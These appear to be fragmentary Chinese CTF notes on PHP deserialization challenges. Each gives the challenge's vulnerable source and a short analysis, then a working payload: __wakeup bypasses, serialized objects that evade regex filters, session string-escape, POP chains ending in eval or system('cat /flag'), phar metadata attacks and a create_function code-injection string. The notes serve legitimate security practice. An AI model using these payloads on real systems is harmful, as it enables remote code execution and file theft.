class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
poc
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
让输出报错:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
poc
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
poc
lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
poc
x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
poc
_wakeup()绕过
a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
限制了test:3所以无法绕过wakeup()
发现
$this->b=$this->c;
那么就可以把命令写在c,然后代码会赋值给b,这是我们设置a恒等于b就能讲命令传入a
a =&$test ->b;
echo serialize($test);
?>
a =&$test ->b;
echo serialize($test);
?>
want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";
}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}
class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!
";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n
";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}
$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>
根据代码,需要通过body的function __destruct中的highlight_file($this->want);去读取文件fl4g.php。倒推,首先让want=fl4g.php,但是want不能为fl4g.php并且不能为文件,这里就可以用上伪装协议去读取文件。todenothing不能等于want(这个好办)。want不能等于I can CHANGE you,上面——wakeup有赋值,要用到wakeup绕过。
这里 construct和类:unserializeorder都没不会用到就不管了
poc
//O%3A4%3A%22body%22%3A2%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A6%3A%22benben%22%3B%7D
然后手动把元素个数改一下
?ywant=O%3A4%3A"body"%3A3%3A{s%3A10%3A"%00body%00want"%3Bs%3A30%3A"php%3A%2F%2Ffilter%2Fresource%3Df14g.php"%3Bs%3A17%3A"%00body%00todonothing"%3Bs%3A6%3A"benben"%3B}
source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先通过f=phpinfo获取flag的文件
目标:通过file_get_contents显示d0g3_f1ag.php
倒推:$userinfo['img']=base64_encode('d0g3_f1ag.php')
$_SESSION['img']=base64_encode('d0g3_f1ag.php') (变量不可控)
$_SESSION['img']==base64_encode('guest_img.png')或sha1(base64_encode($_GET['img_path']))
$_SESSION['user']和$_SESSION['function']可通并进行了序列化和反序列化。(字符逃逸)
先看一下序列化构造
a:3:{s:4:"user";s:1:"X";s:8:"function";s:2:"Y ";s:3:"img";s:5:"patch";}
明显要元素个数一直为3,改变img的值,需要把原本的img那段吐出来。
这时候分析,如果构造逃逸,原本function要被user吃掉,原本img要被吐出来。那么为了维持元素个数为三,就要再添加两个元素。也就是出来添加新的img还要再添加一个。(有点绕,看代码吧)
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"Y";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:5:"patch";}";s:3:"img";s:9:"img_patch";}array(3) {
["user"]=>
string(24) "";s:8:"function";s:62:"Y"
["img"]=>
string(20) "L2QwZzNfZmxsbGxsbGFn"
["a"]=>
string(5) "patch"
}
fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
pop思路
eval
NISA _invoke
Ilovetxw _toString
four_set
Ilovetxw _call
TianXiWei_wakeup
chekchek绕过SYSTEM
ext=new Ilovetxw();
$ser->ext->huang=new four();
$ser->ext->huang->a=new Ilovetxw();
$ser->ext->huang->a->su=new NISA();
echo serialize($ser);
echo urlencode(serialize($ser));
头要炸了。pop思路跟上题差不多但是里面加了可控参数。
这只分析class.php
name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
利用的xx_call
执行命令
pop思路
xx_call $name=system $arg[0]=cat /flag
ff_get func=system $cmd=cat /flag
zz_write
zz_tostring method=write var=content
aa_destruct
跟上题一样写poc但是ff_content是私有变量,这只能用_construct()了
content=new xx();
}
}
class zz{
public $filename;
public $content;
}
class xx{
public $name;
public $arg;
}
$a =new aa();
$a->name=new zz();
$a->name->filename=new ff();
echo serialize($a);
$phar = new Phar("aiwin1.phar");
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
playload
file=phar://upload/251261f15dceb80168305393c3780df5.txt&method=write&var=content&cmd=cat /flag
要通过参数构造一个内部方法。越来越离谱了。
a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
没有new 所以construct直接不看,
destruct
$a("", $b);
当
$a = "create_function";
$b = ";};要执行的命令/*;";
则 `$a("", $b);` 相当于
create_function("", ";};要执行的命令;/*");
// 相当于创建了一个这样的函数
function ()
{
}
要执行的命令;
/*;}
顺带一提,如果$b在前面($a($b, "");)同样可以利用此方法
$a = "create_function";
$b = "){}要执行的命令;/*";
即create_function("){}要执行的命令;/*", "");